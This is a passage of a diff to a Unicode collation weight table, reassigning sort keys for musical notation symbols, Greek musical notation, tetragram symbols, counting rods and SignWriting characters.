[*1170.0020.0002] # MUSICAL SYMBOL SCANDICUS -1D1D7 ; [*1171.0020.0002] # MUSICAL SYMBOL CLIMACUS -1D1D8 ; [*1172.0020.0002] # MUSICAL SYMBOL TORCULUS -1D1D9 ; [*1173.0020.0002] # MUSICAL SYMBOL PORRECTUS -1D1DA ; [*1174.0020.0002] # MUSICAL SYMBOL PORRECTUS FLEXUS -1D1DB ; [*1175.0020.0002] # MUSICAL SYMBOL SCANDICUS FLEXUS -1D1DC ; [*1176.0020.0002] # MUSICAL SYMBOL TORCULUS RESUPINUS -1D1DD ; [*1177.0020.0002] # MUSICAL SYMBOL PES SUBPUNCTIS -1D1DE ; [*1178.0020.0002] # MUSICAL SYMBOL KIEVAN C CLEF -1D1DF ; [*1179.0020.0002] # MUSICAL SYMBOL KIEVAN END OF PIECE -1D1E0 ; [*117A.0020.0002] # MUSICAL SYMBOL KIEVAN FINAL NOTE -1D1E1 ; [*117B.0020.0002] # MUSICAL SYMBOL KIEVAN RECITATIVE MARK -1D1E2 ; [*117C.0020.0002] # MUSICAL SYMBOL KIEVAN WHOLE NOTE -1D1E3 ; [*117D.0020.0002] # MUSICAL SYMBOL KIEVAN HALF NOTE -1D1E4 ; [*117E.0020.0002] # MUSICAL SYMBOL KIEVAN QUARTER NOTE STEM DOWN -1D1E5 ; [*117F.0020.0002] # MUSICAL SYMBOL KIEVAN QUARTER NOTE STEM UP -1D1E6 ; [*1180.0020.0002] # MUSICAL SYMBOL KIEVAN EIGHTH NOTE STEM DOWN -1D1E7 ; [*1181.0020.0002] # MUSICAL SYMBOL KIEVAN EIGHTH NOTE STEM UP -1D1E8 ; [*1182.0020.0002] # MUSICAL SYMBOL KIEVAN FLAT SIGN -1D200 ; [*1183.0020.0002] # GREEK VOCAL NOTATION SYMBOL-1 -1D201 ; [*1184.0020.0002] # GREEK VOCAL NOTATION SYMBOL-2 -1D202 ; [*1185.0020.0002] # GREEK VOCAL NOTATION SYMBOL-3 -1D203 ; [*1186.0020.0002] # GREEK VOCAL NOTATION SYMBOL-4 -1D204 ; [*1187.0020.0002] # GREEK VOCAL NOTATION SYMBOL-5 -1D205 ; [*1188.0020.0002] # GREEK VOCAL NOTATION SYMBOL-6 -1D206 ; [*1189.0020.0002] # GREEK VOCAL NOTATION SYMBOL-7 -1D207 ; [*118A.0020.0002] # GREEK VOCAL NOTATION SYMBOL-8 -1D208 ; [*118B.0020.0002] # GREEK VOCAL NOTATION SYMBOL-9 -1D209 ; [*118C.0020.0002] # GREEK VOCAL NOTATION SYMBOL-10 -1D20A ; [*118D.0020.0002] # GREEK VOCAL NOTATION SYMBOL-11 -1D20B ; [*118E.0020.0002] # GREEK VOCAL NOTATION SYMBOL-12 -1D20C ; [*118F.0020.0002] # GREEK VOCAL NOTATION SYMBOL-13 -1D20D ; [*1190.0020.0002] # GREEK VOCAL NOTATION SYMBOL-14 -1D20E ; [*1191.0020.0002] # GREEK VOCAL NOTATION SYMBOL-15 -1D20F ; [*1192.0020.0002] # GREEK VOCAL NOTATION SYMBOL-16 -1D210 ; [*1193.0020.0002] # GREEK VOCAL NOTATION SYMBOL-17 -1D211 ; [*1194.0020.0002] # GREEK VOCAL NOTATION SYMBOL-18 -1D212 ; [*1195.0020.0002] # GREEK VOCAL NOTATION SYMBOL-19 -1D213 ; [*1196.0020.0002] # GREEK VOCAL NOTATION SYMBOL-20 -1D214 ; [*1197.0020.0002] # GREEK VOCAL NOTATION SYMBOL-21 -1D215 ; [*1198.0020.0002] # GREEK VOCAL NOTATION SYMBOL-22 -1D216 ; [*1199.0020.0002] # GREEK VOCAL NOTATION SYMBOL-23 -1D217 ; [*119A.0020.0002] # GREEK VOCAL NOTATION SYMBOL-24 -1D218 ; [*119B.0020.0002] # GREEK VOCAL NOTATION SYMBOL-50 -1D219 ; [*119C.0020.0002] # GREEK VOCAL NOTATION SYMBOL-51 -1D21A ; [*119D.0020.0002] # GREEK VOCAL NOTATION SYMBOL-52 -1D21B ; [*119E.0020.0002] # GREEK VOCAL NOTATION SYMBOL-53 -1D21C ; [*119F.0020.0002] # GREEK VOCAL NOTATION SYMBOL-54 -1D21D ; [*11A0.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-1 -1D21E ; [*11A1.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-2 -1D21F ; [*11A2.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-4 -1D220 ; [*11A3.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-5 -1D221 ; [*11A4.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-7 -1D222 ; [*11A5.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-8 -1D223 ; [*11A6.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-11 -1D224 ; [*11A7.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-12 -1D225 ; [*11A8.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-13 -1D226 ; [*11A9.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-14 -1D227 ; [*11AA.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-17 -1D228 ; [*11AB.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-18 -1D229 ; [*11AC.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-19 -1D22A ; [*11AD.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-23 -1D22B ; [*11AE.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-24 -1D22C ; [*11AF.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-25 -1D22D ; [*11B0.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-26 -1D22E ; [*11B1.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-27 -1D22F ; [*11B2.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-29 -1D230 ; [*11B3.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-30 -1D231 ; [*11B4.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-32 -1D232 ; [*11B5.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-36 -1D233 ; [*11B6.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-37 -1D234 ; [*11B7.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-38 -1D235 ; [*11B8.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-39 -1D236 ; [*11B9.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-40 -1D237 ; [*11BA.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-42 -1D238 ; [*11BB.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-43 -1D239 ; [*11BC.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-45 -1D23A ; [*11BD.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-47 -1D23B ; [*11BE.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-48 -1D23C ; [*11BF.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-49 -1D23D ; [*11C0.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-50 -1D23E ; [*11C1.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-51 -1D23F ; [*11C2.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-52 -1D240 ; [*11C3.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-53 -1D241 ; [*11C4.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-54 +1D1AE ; [*1128.0020.0002] # MUSICAL SYMBOL PEDAL MARK +1D1AF ; [*1129.0020.0002] # MUSICAL SYMBOL PEDAL UP MARK +1D1B0 ; [*112A.0020.0002] # MUSICAL SYMBOL HALF PEDAL MARK +1D1B1 ; [*112B.0020.0002] # MUSICAL SYMBOL GLISSANDO UP +1D1B2 ; [*112C.0020.0002] # MUSICAL SYMBOL GLISSANDO DOWN +1D1B3 ; [*112D.0020.0002] # MUSICAL SYMBOL WITH FINGERNAILS +1D1B4 ; [*112E.0020.0002] # MUSICAL SYMBOL DAMP +1D1B5 ; [*112F.0020.0002] # MUSICAL SYMBOL DAMP ALL +1D1B6 ; [*1130.0020.0002] # MUSICAL SYMBOL MAXIMA +1D1B7 ; [*1131.0020.0002] # MUSICAL SYMBOL LONGA +1D1B8 ; [*1132.0020.0002] # MUSICAL SYMBOL BREVIS +1D1B9 ; [*1133.0020.0002] # MUSICAL SYMBOL SEMIBREVIS WHITE +1D1BA ; [*1134.0020.0002] # MUSICAL SYMBOL SEMIBREVIS BLACK +1D1BB ; [*1133.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL MINIMA +1D1BC ; [*1134.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL MINIMA BLACK +1D1BD ; [*1133.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SEMIMINIMA WHITE +1D1BE ; [*1134.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SEMIMINIMA BLACK +1D1BF ; [*1133.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL FUSA WHITE +1D1C0 ; [*1134.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL FUSA BLACK +1D1C1 ; [*1135.0020.0002] # MUSICAL SYMBOL LONGA PERFECTA REST +1D1C2 ; [*1136.0020.0002] # MUSICAL SYMBOL LONGA IMPERFECTA REST +1D1C3 ; [*1137.0020.0002] # MUSICAL SYMBOL BREVIS REST +1D1C4 ; [*1138.0020.0002] # MUSICAL SYMBOL SEMIBREVIS REST +1D1C5 ; [*1139.0020.0002] # MUSICAL SYMBOL MINIMA REST +1D1C6 ; [*113A.0020.0002] # MUSICAL SYMBOL SEMIMINIMA REST +1D1C7 ; [*113B.0020.0002] # MUSICAL SYMBOL TEMPUS PERFECTUM CUM PROLATIONE PERFECTA +1D1C8 ; [*113C.0020.0002] # MUSICAL SYMBOL TEMPUS PERFECTUM CUM PROLATIONE IMPERFECTA +1D1C9 ; [*113D.0020.0002] # MUSICAL SYMBOL TEMPUS PERFECTUM CUM PROLATIONE PERFECTA DIMINUTION-1 +1D1CA ; [*113E.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE PERFECTA +1D1CB ; [*113F.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA +1D1CC ; [*1140.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA DIMINUTION-1 +1D1CD ; [*1141.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA DIMINUTION-2 +1D1CE ; [*1142.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA DIMINUTION-3 +1D1CF ; [*1143.0020.0002] # MUSICAL SYMBOL CROIX +1D1D0 ; [*1144.0020.0002] # MUSICAL SYMBOL GREGORIAN C CLEF +1D1D1 ; [*1145.0020.0002] # MUSICAL SYMBOL GREGORIAN F CLEF +1D1D2 ; [*1146.0020.0002] # MUSICAL SYMBOL SQUARE B +1D1D3 ; [*1147.0020.0002] # MUSICAL SYMBOL VIRGA +1D1D4 ; [*1148.0020.0002] # MUSICAL SYMBOL PODATUS +1D1D5 ; [*1149.0020.0002] # MUSICAL SYMBOL CLIVIS +1D1D6 ; [*114A.0020.0002] # MUSICAL SYMBOL SCANDICUS +1D1D7 ; [*114B.0020.0002] # MUSICAL SYMBOL CLIMACUS +1D1D8 ; [*114C.0020.0002] # MUSICAL SYMBOL TORCULUS +1D1D9 ; [*114D.0020.0002] # MUSICAL SYMBOL PORRECTUS +1D1DA ; [*114E.0020.0002] # MUSICAL SYMBOL PORRECTUS FLEXUS +1D1DB ; [*114F.0020.0002] # MUSICAL SYMBOL SCANDICUS FLEXUS +1D1DC ; [*1150.0020.0002] # MUSICAL SYMBOL TORCULUS RESUPINUS +1D1DD ; [*1151.0020.0002] # MUSICAL SYMBOL PES SUBPUNCTIS +1D1DE ; [*1152.0020.0002] # MUSICAL SYMBOL KIEVAN C CLEF +1D1DF ; [*1153.0020.0002] # MUSICAL SYMBOL KIEVAN END OF PIECE +1D1E0 ; [*1154.0020.0002] # MUSICAL SYMBOL KIEVAN FINAL NOTE +1D1E1 ; [*1155.0020.0002] # MUSICAL SYMBOL KIEVAN RECITATIVE MARK +1D1E2 ; [*1156.0020.0002] # MUSICAL SYMBOL KIEVAN WHOLE NOTE +1D1E3 ; [*1157.0020.0002] # MUSICAL SYMBOL KIEVAN HALF NOTE +1D1E4 ; [*1158.0020.0002] # MUSICAL SYMBOL KIEVAN QUARTER NOTE STEM DOWN +1D1E5 ; [*1159.0020.0002] # MUSICAL SYMBOL KIEVAN QUARTER NOTE STEM UP +1D1E6 ; [*115A.0020.0002] # MUSICAL SYMBOL KIEVAN EIGHTH NOTE STEM DOWN +1D1E7 ; [*115B.0020.0002] # MUSICAL SYMBOL KIEVAN EIGHTH NOTE STEM UP +1D1E8 ; [*115C.0020.0002] # MUSICAL SYMBOL KIEVAN FLAT SIGN +1D200 ; [*115D.0020.0002] # GREEK VOCAL NOTATION SYMBOL-1 +1D201 ; [*115E.0020.0002] # GREEK VOCAL NOTATION SYMBOL-2 +1D202 ; [*115F.0020.0002] # GREEK VOCAL NOTATION SYMBOL-3 +1D203 ; [*1160.0020.0002] # GREEK VOCAL NOTATION SYMBOL-4 +1D204 ; [*1161.0020.0002] # GREEK VOCAL NOTATION SYMBOL-5 +1D205 ; [*1162.0020.0002] # GREEK VOCAL NOTATION SYMBOL-6 +1D206 ; [*1163.0020.0002] # GREEK VOCAL NOTATION SYMBOL-7 +1D207 ; [*1164.0020.0002] # GREEK VOCAL NOTATION SYMBOL-8 +1D208 ; [*1165.0020.0002] # GREEK VOCAL NOTATION SYMBOL-9 +1D209 ; [*1166.0020.0002] # GREEK VOCAL NOTATION SYMBOL-10 +1D20A ; [*1167.0020.0002] # GREEK VOCAL NOTATION SYMBOL-11 +1D20B ; [*1168.0020.0002] # GREEK VOCAL NOTATION SYMBOL-12 +1D20C ; [*1169.0020.0002] # GREEK VOCAL NOTATION SYMBOL-13 +1D20D ; [*116A.0020.0002] # GREEK VOCAL NOTATION SYMBOL-14 +1D20E ; [*116B.0020.0002] # GREEK VOCAL NOTATION SYMBOL-15 +1D20F ; [*116C.0020.0002] # GREEK VOCAL NOTATION SYMBOL-16 +1D210 ; [*116D.0020.0002] # GREEK VOCAL NOTATION SYMBOL-17 +1D211 ; [*116E.0020.0002] # GREEK VOCAL NOTATION SYMBOL-18 +1D212 ; [*116F.0020.0002] # GREEK VOCAL NOTATION SYMBOL-19 +1D213 ; [*1170.0020.0002] # GREEK VOCAL NOTATION SYMBOL-20 +1D214 ; [*1171.0020.0002] # GREEK VOCAL NOTATION SYMBOL-21 +1D215 ; [*1172.0020.0002] # GREEK VOCAL NOTATION SYMBOL-22 +1D216 ; [*1173.0020.0002] # GREEK VOCAL NOTATION SYMBOL-23 +1D217 ; [*1174.0020.0002] # GREEK VOCAL NOTATION SYMBOL-24 +1D218 ; [*1175.0020.0002] # GREEK VOCAL NOTATION SYMBOL-50 +1D219 ; [*1176.0020.0002] # GREEK VOCAL NOTATION SYMBOL-51 +1D21A ; [*1177.0020.0002] # GREEK VOCAL NOTATION SYMBOL-52 +1D21B ; [*1178.0020.0002] # GREEK VOCAL NOTATION SYMBOL-53 +1D21C ; [*1179.0020.0002] # GREEK VOCAL NOTATION SYMBOL-54 +1D21D ; [*117A.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-1 +1D21E ; [*117B.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-2 +1D21F ; [*117C.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-4 +1D220 ; [*117D.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-5 +1D221 ; [*117E.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-7 +1D222 ; [*117F.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-8 +1D223 ; [*1180.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-11 +1D224 ; [*1181.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-12 +1D225 ; [*1182.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-13 +1D226 ; [*1183.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-14 +1D227 ; [*1184.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-17 +1D228 ; [*1185.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-18 +1D229 ; [*1186.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-19 +1D22A ; [*1187.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-23 +1D22B ; [*1188.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-24 +1D22C ; [*1189.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-25 +1D22D ; [*118A.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-26 +1D22E ; [*118B.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-27 +1D22F ; [*118C.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-29 +1D230 ; [*118D.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-30 +1D231 ; [*118E.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-32 +1D232 ; [*118F.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-36 +1D233 ; [*1190.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-37 +1D234 ; [*1191.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-38 +1D235 ; [*1192.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-39 +1D236 ; [*1193.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-40 +1D237 ; [*1194.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-42 +1D238 ; [*1195.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-43 +1D239 ; [*1196.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-45 +1D23A ; [*1197.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-47 +1D23B ; [*1198.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-48 +1D23C ; [*1199.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-49 +1D23D ; [*119A.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-50 +1D23E ; [*119B.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-51 +1D23F ; [*119C.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-52 +1D240 ; [*119D.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-53 +1D241 ; [*119E.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-54 1D242 ; [.0000.0000.0000] # COMBINING GREEK MUSICAL TRISEME 1D243 ; [.0000.0000.0000] # COMBINING GREEK MUSICAL TETRASEME 1D244 ; [.0000.0000.0000] # COMBINING GREEK MUSICAL PENTASEME -1D245 ; [*11C5.0020.0002] # GREEK MUSICAL LEIMMA -1D300 ; [*0EEA.0020.0002] # MONOGRAM FOR EARTH -1D301 ; [*0EEB.0020.0002] # DIGRAM FOR HEAVENLY EARTH -1D302 ; [*0EEC.0020.0002] # DIGRAM FOR HUMAN EARTH -1D303 ; [*0EED.0020.0002] # DIGRAM FOR EARTHLY HEAVEN -1D304 ; [*0EEE.0020.0002] # DIGRAM FOR EARTHLY HUMAN -1D305 ; [*0EEF.0020.0002] # DIGRAM FOR EARTH -1D306 ; [*0EF0.0020.0002] # TETRAGRAM FOR CENTRE -1D307 ; [*0EF1.0020.0002] # TETRAGRAM FOR FULL CIRCLE -1D308 ; [*0EF2.0020.0002] # TETRAGRAM FOR MIRED -1D309 ; [*0EF3.0020.0002] # TETRAGRAM FOR BARRIER -1D30A ; [*0EF4.0020.0002] # TETRAGRAM FOR KEEPING SMALL -1D30B ; [*0EF5.0020.0002] # TETRAGRAM FOR CONTRARIETY -1D30C ; [*0EF6.0020.0002] # TETRAGRAM FOR ASCENT -1D30D ; [*0EF7.0020.0002] # TETRAGRAM FOR OPPOSITION -1D30E ; [*0EF8.0020.0002] # TETRAGRAM FOR BRANCHING OUT -1D30F ; [*0EF9.0020.0002] # TETRAGRAM FOR DEFECTIVENESS OR DISTORTION -1D310 ; [*0EFA.0020.0002] # TETRAGRAM FOR DIVERGENCE -1D311 ; [*0EFB.0020.0002] # TETRAGRAM FOR YOUTHFULNESS -1D312 ; [*0EFC.0020.0002] # TETRAGRAM FOR INCREASE -1D313 ; [*0EFD.0020.0002] # TETRAGRAM FOR PENETRATION -1D314 ; [*0EFE.0020.0002] # TETRAGRAM FOR REACH -1D315 ; [*0EFF.0020.0002] # TETRAGRAM FOR CONTACT -1D316 ; [*0F00.0020.0002] # TETRAGRAM FOR HOLDING BACK -1D317 ; [*0F01.0020.0002] # TETRAGRAM FOR WAITING -1D318 ; [*0F02.0020.0002] # TETRAGRAM FOR FOLLOWING -1D319 ; [*0F03.0020.0002] # TETRAGRAM FOR ADVANCE -1D31A ; [*0F04.0020.0002] # TETRAGRAM FOR RELEASE -1D31B ; [*0F05.0020.0002] # TETRAGRAM FOR RESISTANCE -1D31C ; [*0F06.0020.0002] # TETRAGRAM FOR EASE -1D31D ; [*0F07.0020.0002] # TETRAGRAM FOR JOY -1D31E ; [*0F08.0020.0002] # TETRAGRAM FOR CONTENTION -1D31F ; [*0F09.0020.0002] # TETRAGRAM FOR ENDEAVOUR -1D320 ; [*0F0A.0020.0002] # TETRAGRAM FOR DUTIES -1D321 ; [*0F0B.0020.0002] # TETRAGRAM FOR CHANGE -1D322 ; [*0F0C.0020.0002] # TETRAGRAM FOR DECISIVENESS -1D323 ; [*0F0D.0020.0002] # TETRAGRAM FOR BOLD RESOLUTION -1D324 ; [*0F0E.0020.0002] # TETRAGRAM FOR PACKING -1D325 ; [*0F0F.0020.0002] # TETRAGRAM FOR LEGION -1D326 ; [*0F10.0020.0002] # TETRAGRAM FOR CLOSENESS -1D327 ; [*0F11.0020.0002] # TETRAGRAM FOR KINSHIP -1D328 ; [*0F12.0020.0002] # TETRAGRAM FOR GATHERING -1D329 ; [*0F13.0020.0002] # TETRAGRAM FOR STRENGTH -1D32A ; [*0F14.0020.0002] # TETRAGRAM FOR PURITY -1D32B ; [*0F15.0020.0002] # TETRAGRAM FOR FULLNESS -1D32C ; [*0F16.0020.0002] # TETRAGRAM FOR RESIDENCE -1D32D ; [*0F17.0020.0002] # TETRAGRAM FOR LAW OR MODEL -1D32E ; [*0F18.0020.0002] # TETRAGRAM FOR RESPONSE -1D32F ; [*0F19.0020.0002] # TETRAGRAM FOR GOING TO MEET -1D330 ; [*0F1A.0020.0002] # TETRAGRAM FOR ENCOUNTERS -1D331 ; [*0F1B.0020.0002] # TETRAGRAM FOR STOVE -1D332 ; [*0F1C.0020.0002] # TETRAGRAM FOR GREATNESS -1D333 ; [*0F1D.0020.0002] # TETRAGRAM FOR ENLARGEMENT -1D334 ; [*0F1E.0020.0002] # TETRAGRAM FOR PATTERN -1D335 ; [*0F1F.0020.0002] # TETRAGRAM FOR RITUAL -1D336 ; [*0F20.0020.0002] # TETRAGRAM FOR FLIGHT -1D337 ; [*0F21.0020.0002] # TETRAGRAM FOR VASTNESS OR WASTING -1D338 ; [*0F22.0020.0002] # TETRAGRAM FOR CONSTANCY -1D339 ; [*0F23.0020.0002] # TETRAGRAM FOR MEASURE -1D33A ; [*0F24.0020.0002] # TETRAGRAM FOR ETERNITY -1D33B ; [*0F25.0020.0002] # TETRAGRAM FOR UNITY -1D33C ; [*0F26.0020.0002] # TETRAGRAM FOR DIMINISHMENT -1D33D ; [*0F27.0020.0002] # TETRAGRAM FOR CLOSED MOUTH -1D33E ; [*0F28.0020.0002] # TETRAGRAM FOR GUARDEDNESS -1D33F ; [*0F29.0020.0002] # TETRAGRAM FOR GATHERING IN -1D340 ; [*0F2A.0020.0002] # TETRAGRAM FOR MASSING -1D341 ; [*0F2B.0020.0002] # TETRAGRAM FOR ACCUMULATION -1D342 ; [*0F2C.0020.0002] # TETRAGRAM FOR EMBELLISHMENT -1D343 ; [*0F2D.0020.0002] # TETRAGRAM FOR DOUBT -1D344 ; [*0F2E.0020.0002] # TETRAGRAM FOR WATCH -1D345 ; [*0F2F.0020.0002] # TETRAGRAM FOR SINKING -1D346 ; [*0F30.0020.0002] # TETRAGRAM FOR INNER -1D347 ; [*0F31.0020.0002] # TETRAGRAM FOR DEPARTURE -1D348 ; [*0F32.0020.0002] # TETRAGRAM FOR DARKENING -1D349 ; [*0F33.0020.0002] # TETRAGRAM FOR DIMMING -1D34A ; [*0F34.0020.0002] # TETRAGRAM FOR EXHAUSTION -1D34B ; [*0F35.0020.0002] # TETRAGRAM FOR SEVERANCE -1D34C ; [*0F36.0020.0002] # TETRAGRAM FOR STOPPAGE -1D34D ; [*0F37.0020.0002] # TETRAGRAM FOR HARDNESS -1D34E ; [*0F38.0020.0002] # TETRAGRAM FOR COMPLETION -1D34F ; [*0F39.0020.0002] # TETRAGRAM FOR CLOSURE -1D350 ; [*0F3A.0020.0002] # TETRAGRAM FOR FAILURE -1D351 ; [*0F3B.0020.0002] # TETRAGRAM FOR AGGRAVATION -1D352 ; [*0F3C.0020.0002] # TETRAGRAM FOR COMPLIANCE -1D353 ; [*0F3D.0020.0002] # TETRAGRAM FOR ON THE VERGE -1D354 ; [*0F3E.0020.0002] # TETRAGRAM FOR DIFFICULTIES -1D355 ; [*0F3F.0020.0002] # TETRAGRAM FOR LABOURING -1D356 ; [*0F40.0020.0002] # TETRAGRAM FOR FOSTERING -1D369 ; [*1BEF.0020.0002] # COUNTING ROD TENS DIGIT ONE -1D36A ; [*1BF0.0020.0002] # COUNTING ROD TENS DIGIT TWO -1D36B ; [*1BF1.0020.0002] # COUNTING ROD TENS DIGIT THREE -1D36C ; [*1BF2.0020.0002] # COUNTING ROD TENS DIGIT FOUR -1D36D ; [*1BF3.0020.0002] # COUNTING ROD TENS DIGIT FIVE -1D36E ; [*1BF4.0020.0002] # COUNTING ROD TENS DIGIT SIX -1D36F ; [*1BF5.0020.0002] # COUNTING ROD TENS DIGIT SEVEN -1D370 ; [*1BF6.0020.0002] # COUNTING ROD TENS DIGIT EIGHT -1D371 ; [*1BF7.0020.0002] # COUNTING ROD TENS DIGIT NINE -1D6C1 ; [*060C.0020.0005] # MATHEMATICAL BOLD NABLA -1D6DB ; [*0608.0020.0005] # MATHEMATICAL BOLD PARTIAL DIFFERENTIAL -1D6FB ; [*060C.0020.0005] # MATHEMATICAL ITALIC NABLA -1D715 ; [*0608.0020.0005] # MATHEMATICAL ITALIC PARTIAL DIFFERENTIAL -1D735 ; [*060C.0020.0005] # MATHEMATICAL BOLD ITALIC NABLA -1D74F ; [*0608.0020.0005] # MATHEMATICAL BOLD ITALIC PARTIAL DIFFERENTIAL -1D76F ; [*060C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD NABLA -1D789 ; [*0608.0020.0005] # MATHEMATICAL SANS-SERIF BOLD PARTIAL DIFFERENTIAL -1D7A9 ; [*060C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC NABLA -1D7C3 ; [*0608.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC PARTIAL DIFFERENTIAL -1D800 ; [*183F.0020.0002] # SIGNWRITING HAND-FIST INDEX -1D801 ; [*1840.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX -1D802 ; [*1841.0020.0002] # SIGNWRITING HAND-CUP INDEX -1D803 ; [*1842.0020.0002] # SIGNWRITING HAND-OVAL INDEX -1D804 ; [*1843.0020.0002] # SIGNWRITING HAND-HINGE INDEX -1D805 ; [*1844.0020.0002] # SIGNWRITING HAND-ANGLE INDEX -1D806 ; [*1845.0020.0002] # SIGNWRITING HAND-FIST INDEX BENT -1D807 ; [*1846.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX BENT -1D808 ; [*1847.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER INDEX BENT -1D809 ; [*1848.0020.0002] # SIGNWRITING HAND-FIST INDEX RAISED KNUCKLE -1D80A ; [*1849.0020.0002] # SIGNWRITING HAND-FIST INDEX CUPPED -1D80B ; [*184A.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED -1D80C ; [*184B.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED LOW -1D80D ; [*184C.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX HINGE -1D80E ; [*184D.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE -1D80F ; [*184E.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE -1D810 ; [*184F.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE BENT -1D811 ; [*1850.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RAISED KNUCKLES -1D812 ; [*1851.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE HINGED -1D813 ; [*1852.0020.0002] # SIGNWRITING HAND-FIST INDEX UP MIDDLE HINGED -1D814 ; [*1853.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED MIDDLE UP -1D815 ; [*1854.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED -1D816 ; 